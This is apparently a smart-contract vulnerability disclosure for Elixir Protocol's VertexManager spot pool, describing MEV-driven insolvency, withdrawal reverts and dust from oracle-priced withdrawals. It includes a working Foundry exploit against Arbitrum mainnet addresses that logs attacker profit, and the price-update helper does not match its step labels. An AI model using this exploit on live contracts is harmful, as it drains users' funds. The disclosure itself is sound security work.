# Possible protocol insolvency because of MEV, DoS revert or dust amount left, when withdrawing tokens from spot pool

## Bug Description
When depositing/withdrawing from spot pool, `amount1` will be calculated by `amount0` and clearing house's oracle price of `token0`  and `token1`.

https://github.com/ElixirProtocol/vertex-contracts/blob/main/src/VertexManager.sol#L756-L762
```
    function getBalancedAmount(address token0, address token1, uint256 amount0) public view returns (uint256) {
        return amount0.mulDiv(
            (getPrice(tokenToProduct[token0]) * (10 ** 18)) / getPrice(tokenToProduct[token1]),
            10 ** (18 + IERC20Metadata(token0).decimals() - IERC20Metadata(token1).decimals()),
            Math.Rounding.Down
        );
    }
```

If a user wants to withdraw all of its tokens. he will use his active amount of token0 as `token0` parameter.

In that case, `token1` amount to be withdrawn will be calculated as following.

```
token1_amount_to_withdraw = token0.userActiveAmount[msg.sender] * price0 / price1
```

Required token1 amount might be mistmatched with current active amount of `token1` when oracle price of `token0`, `token1` changed.
```
       mapping(address user => uint256 balance) userActiveAmount;
```

## Impact
### Protocol insolvency because of MEV

A hacker can monitor mempool for oracle price update of Vertex clearing house and if price of amount0 goes higher, he can sandwich it with deposit and withdrawal txs.

If profit is greater than withdrawal fee, it will be perfect MEV opportunity for searchers.

In the end, loss incurred will result insolvency of protocol.

### DoS because of revert
If `token1_amount_to_withdraw` is greater than `userActiveAmount[msg.sender]` of token1, it will revert.

https://github.com/ElixirProtocol/vertex-contracts/blob/main/src/VertexManager.sol#L466
```
            // Substract requested amount from the active market making balance.
            tokenData.userActiveAmount[msg.sender] -= amount;
```

### Dust amount
If `token1_amount_to_withdraw` is smaller than `userActiveAmount[msg.sender]` of token1, rest will be left as dust amount.

After withdrawal, there will be no `token0` amount left. thus you cannot withdraw dust amount of `token1`.


## Recommendation
Rather than using `userActiveAmount` mapping to keep track of user's active amount, you can use virtual LP token balance per user.

LP amount of liquidity provider should be denominated with virtual LP balance rather than `token0` or `token1` just like all other DEXes.

And when withdrawing from LP position, actual `token0`, `token1` amount should be derived from virtual LP balance.

```
    struct Token {
-       mapping(address user => uint256 balance) userActiveAmount;
        // The pending amounts of users for a token within a pool.
        mapping(address user => uint256 amount) userPendingAmount;
        ...
    }

    struct Pool {
        // The router address of the pool.
        address router;
        // The pool type. True for spot, false for perp.
        PoolType poolType;
        // The data of the supported tokens in the pool.
        mapping(address token => Token data) tokens;
+       // active LP balance per user
+       mapping(address user => uint256 balance) userActiveLPBalance;
    }

-   function getUserActiveAmount(uint256 id, address token, address user) external view returns (uint256) {
-       return pools[id].tokens[token].userActiveAmount[user];
-   }

+   function getUserActiveAmount(
+       uint256 id,
+       address token,
+       address user
+   ) returns (uint256 amount){
+       amount = pools[id].userActiveLPBalance[user] * getPrice(tokenToProduct[token]);
+   }
```
## Proof of Concept
```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/interfaces/IERC20Metadata.sol";

interface VertexManager {
  function depositSpot(
        uint256 id,
        address token0,
        address token1,
        uint256 amount0,
        uint256 amount1Low,
        uint256 amount1High,
        address receiver
    ) external;

    function withdrawSpot(uint256 id, address[] calldata tokens, uint256 amount0, uint256 feeIndex) external;

    function getBalancedAmount(address token0, address token1, uint256 amount0) external view returns (uint256);

    function updatePoolHardcaps(uint256 id, address[] calldata tokens, uint256[] calldata hardcaps) external;

    function owner() external returns (address);

    function endpoint() external returns (Endpoint);

    function getPrice(uint32 id) external view returns (uint256);

    function getCurrentVertexBalances(address router, address[] memory tokens)
        external
        view
        returns (uint256[] memory balances);

    function getUserActiveAmount(uint256 id, address token, address user) external view returns (uint256);

    function getUserPendingAmount(uint256 id, address token, address user) external view returns (uint256);

    event Deposit(address indexed caller, address indexed receiver, uint256 indexed id, address token, uint256 amount);

    event Withdraw(address indexed user, address indexed router, uint32 tokenId, uint256 indexed amount);
}

interface Endpoint {
    function submitTransactions(bytes[] calldata transactions) external;
    function getSequencer() external view returns (address);

    enum TransactionType {
        LiquidateSubaccount,
        DepositCollateral,
        WithdrawCollateral,
        SpotTick,
        UpdatePrice,
        SettlePnl,
        MatchOrders,
        DepositInsurance,
        ExecuteSlowMode,
        MintLp,
        BurnLp,
        SwapAMM,
        MatchOrderAMM,
        DumpFees,
        ClaimSequencerFees,
        PerpTick,
        ManualAssert,
        Rebate,
        UpdateProduct,
        LinkSigner,
        UpdateFeeRates,
        BurnLpAndTransfer
    }
}

contract ContractTest is Test {
    struct UpdatePrice {
        uint32 productId;
        int128 priceX18;
    }

    VertexManager     constant manager = VertexManager(0x052Ab3fd33cADF9D9f227254252da3f996431f75);
    IERC20Metadata    constant BTC = IERC20Metadata(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
    IERC20Metadata    constant USDC = IERC20Metadata(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
    address           constant victim = 0x14bA533cc7dDF0C885D6431d87B22730Ce549251;
    address           constant router = 0x5E5E03AaE77C667664bA47556528a947af0A4716 ;
    uint256           constant poolId = 1; // WBTC Spot Router
    uint32            constant productId_USDC = 0;
    uint32            constant productId_BTC = 1;
    address[] public  spotTokens;
    UpdatePrice       updateInfo;
    uint256           amountBTC = 1000000;
    uint256           amountUSDC;
    uint256           btcPrice;
    uint256           usdcPrice;
    bytes[] public    txList;

  function setUp() public {
    vm.createSelectFork("arbitrum"); 

    vm.label(address(manager), "Manager");
    vm.label(address(manager.endpoint()), "Endpoint");    
    vm.label(address(BTC), "BTC");
    vm.label(address(USDC), "USDC");
    vm.label(router, "WBTC_Spot_Router");

    spotTokens = new address[](2);
    spotTokens[0] = address(BTC);
    spotTokens[1] = address(USDC);

    uint256[] memory hardcaps = new uint256[](2);
    hardcaps[0] = type(uint256).max;
    hardcaps[1] = type(uint256).max;

    vm.prank(manager.owner());
    manager.updatePoolHardcaps(1, spotTokens, hardcaps);

    amountUSDC = manager.getBalancedAmount(address(BTC), address(USDC), amountBTC);
    btcPrice = manager.getPrice(productId_BTC);
    usdcPrice = manager.getPrice(productId_USDC);

    deal(address(BTC), address(this), amountBTC);
    deal(address(USDC), address(this), amountUSDC);

    BTC.approve(address(manager), amountBTC);
    USDC.approve(address(manager), amountUSDC);

    emit log_named_decimal_uint("WBTC balance", BTC.balanceOf(address(this)), BTC.decimals());
    emit log_named_decimal_uint("USDC balance", USDC.balanceOf(address(this)), USDC.decimals());
    emit log_named_decimal_uint("WBTC price", btcPrice, 18);
    emit log_named_decimal_uint("USDC price", usdcPrice, 18);

    console.log("Step 1: Deposit into WBTC spot pool");
    manager.depositSpot(1, spotTokens[0], spotTokens[1], amountBTC, amountUSDC, amountUSDC, address(this));
  }

  function testElixirMEV() public {
    console.log("Step 2: BTC falling 10%");
    updateBTCPrice(btcPrice * 10 / 11);
    
    console.log("Step 3: Withdraw from WBTC spot pool returns more USDC than deposited");
    manager.withdrawSpot(1, spotTokens, amountBTC / 2, 0);
    
    uint256 totalUSDC =
          manager.getUserActiveAmount(1, address(USDC), address(this)) + 
          manager.getUserPendingAmount(1, address(USDC), address(this));
    emit log_named_decimal_uint("USDC profit", totalUSDC - amountUSDC, USDC.decimals());
  }

  function testElixirRevert() public {
    console.log("Step 2: BTC rising 10%");
    updateBTCPrice(btcPrice * 11 / 10);
    
    console.log("Step 3: Withdraw from WBTC spot pool will revert because of underflow");
    vm.expectRevert();
    manager.withdrawSpot(1, spotTokens, amountBTC, 0);
  }

  function testElixirDust() public {
    console.log("Step 2: BTC falling 10%");
    updateBTCPrice(btcPrice * 10 / 11);
    
    console.log("Step 3: Withdraw from WBTC spot pool will leave dust amount");
    manager.withdrawSpot(1, spotTokens, amountBTC * 10 / 11, 0);
    emit log_named_decimal_uint("BTC dust", manager.getUserActiveAmount(1, address(BTC), address(this)), BTC.decimals());
  }

  function updateBTCPrice(uint256 newPrice) internal {
    vm.startPrank(manager.endpoint().getSequencer());
    
    updateInfo.priceX18 = int128(int256(newPrice)) * 11 / 10;
    updateInfo.productId = productId_BTC;
    Endpoint.TransactionType tx_type = Endpoint.TransactionType.UpdatePrice;
    
    txList.push(abi.encodePacked(tx_type, abi.encode(updateInfo)));    
    manager.endpoint().submitTransactions(txList);

    vm.stopPrank();
  }
}

```

### Output
forge test --match-test Elixir -vv
```
Running 3 tests for test/Elixir_test.sol:ContractTest
[PASS] testElixirMEV() (gas: 841081)
Logs:
  WBTC balance: 0.01000000
  USDC balance: 369.633731
  WBTC price: 36963.373117136580292521
  USDC price: 1.000000000000000000
  Step 1: Deposit into WBTC spot pool
  Step 2: BTC falling 10%
  Step 3: Withdraw from WBTC spot pool returns more USDC than deposited
  USDC profit: 6.586420

[PASS] testElixirDust() (gas: 837705)
Logs:
  WBTC balance: 0.01000000
  USDC balance: 369.633731
  WBTC price: 36963.373117136580292521
  USDC price: 1.000000000000000000
  Step 1: Deposit into WBTC spot pool
  Step 2: BTC falling 10%
  Step 3: Withdraw from WBTC spot pool will leave dust amount
  BTC dust: 0.00090910

[PASS] testElixirRevert() (gas: 677489)
Logs:
  WBTC balance: 0.01000000
  USDC balance: 369.633731
  WBTC price: 36963.373117136580292521
  USDC price: 1.000000000000000000
  Step 1: Deposit into WBTC spot pool
  Step 2: BTC rising 10%
  Step 3: Withdraw from WBTC spot pool will revert because of underflow

Test result: ok. 3 passed; 0 failed; 0 skipped; finished in 86.74s
Ran 1 test suites: 3 tests passed, 0 failed, 0 skipped (3 total tests)
```